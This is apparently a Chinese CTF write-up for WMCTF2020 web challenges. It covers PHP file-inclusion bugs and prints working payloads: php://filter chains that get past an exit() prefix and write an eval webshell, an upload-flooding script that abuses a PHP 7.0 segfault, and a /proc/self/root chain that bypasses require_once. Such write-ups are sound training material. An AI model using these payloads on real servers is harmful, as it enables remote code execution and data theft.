WMCTF2020 web部分wp

web_checkin1/2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['HTTP_X_REAL_IP']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);
}

1.0

直接利用上传产生的session文件包含RCE;也可以直接包含/flag

2.0

方法1 二次编码绕过

伪协议处理时会对过滤器urldecode一次,因此可以利用二次编码绕过

本地测试:

1
2
3
<?php

echo file_get_contents('php://filter/read=convert.base%364-encode/resource=/etc/passwd');

正常输出base64编码后的内容

使用rot13编码器,r编码后是%72,再次编码后是%2572,不过后端过滤了%25(%的url编码);可以将%72拆成%7%32(2的url编码)

即可以使用%7%32ot13编码器

Payload:

1
?content=php://filter/write=string.%72ot13|<?cuc%20cucvasb();?>|/resource=5.php

写入到5.php的内容为:

1
<?cuc rkvg();cuc://svygre/jevgr=fgevat.ebg13|<?php phpinfo();?>|/erfbhepr=5.cuc

short_open_tag = Off时,<?不会当做php标签,那么后面的<?php便会生效

方法二 过滤器绕过

首先来总结一下经常出现的过滤器:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 字符串过滤器
string.rot13 #rot13编码;自 PHP 4.3.0 起
string.toupper||string.tolower #大小写转换;自 PHP 5.0.0 起
string.strip_tags #去除 HTML 注释、HTML 标记和 PHP 标签;自PHP 7.3.0起已弃用此功能

# convert过滤器,自PHP 5.0.0 起
convert.base64-encode||convert.base64-decode #base64编码转换
convert.quoted-printable-encode||convert.quoted-printable-decode #将 quoted-printable 字符串转换为 8-bit 字符串,例如换行符会变成 =0A
convert.iconv.<input-encoding>.<output-encoding>||convert.iconv.<input-encoding>/<output-encoding> #两种用法相同;用iconv()函数处理所有的流数据,字符串按要求的字符编码来转换

# 压缩过滤器
zlib.deflate||zlib.inflate #压缩与解压;实现了定义与 » RFC 1951的压缩算法。自 PHP 版本 5.1.0起可用,在激活 zlib的前提下
bzip2.compress||bzip2.decompress #自 PHP 版本 5.1.0起可用,在激活 bz2支持的前提下

使用压缩过滤器,首先用zlib.deflate进行压缩,然后用string.tolower转换(fuzz中间转换操作),再用zlib.inflate解压缩,发现可以绕过exit:

1
?content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0a@eval($_POST[1]);?>/resource=e.php

写入到文件e.php的内容为:

1
2
<?php@…xit();php://fil|mr/zlib.lmfla|m|s|ring.|olowmr|zlib.infla|m|?><?php
@eval($_POST[1]);?>/vesouvce=e.php

因为空格经过转换后会变成@,因此php标签后可跟上一个不可见的换行符

相关文章:

1
2
https://cyc1e183.github.io/2020/04/03/%E5%85%B3%E4%BA%8Efile_put_contents%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%B5%8B%E8%AF%95/
https://www.anquanke.com/post/id/202510#h3-6

方法三 利用php7.0 segment fault

php7.0使用string.strip_tags会导致php执行过程中出现segment fault,此时上传文件,临时文件会被保存在upload_tmp_dir所指定的目录下,不会被删除

官方给的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests 
import string
import itertools

charset = string.digits + string.letters

host = "web_checkin2.wmctf.wetolink.com"
port = 80
base_url = "http://%s:%d" % (host, port)


def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
except Exception as e:
print e

def generate_tmp_files():
file_content = '<?php system("xxxxxxxx");?>'
phpinfo_url = "%s/?content=php://filter/write=string.strip_tags/resource=Cyc1e.php" % (
base_url)
print phpinfo_url
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file_to_include(phpinfo_url, file_content)

if __name__ == "__main__":
generate_tmp_files()

Make PHP Great Again1/2

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])){
require_once $_GET['file'];
}

1.0

直接session包含RCE

2.0

绕过require_once进行二次包含

php文件包含时会将已包含的文件和真实路径存放到哈希表中

/proc/self/root是指向/的符号链接:

利用多级符号链接进行绕过;payload:

1
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

具体分析可参考:

1
https://www.anquanke.com/post/id/213235#h3-2

太菜了,以后抽时间分析分析

Nobody Knows BaoTa Better Than Me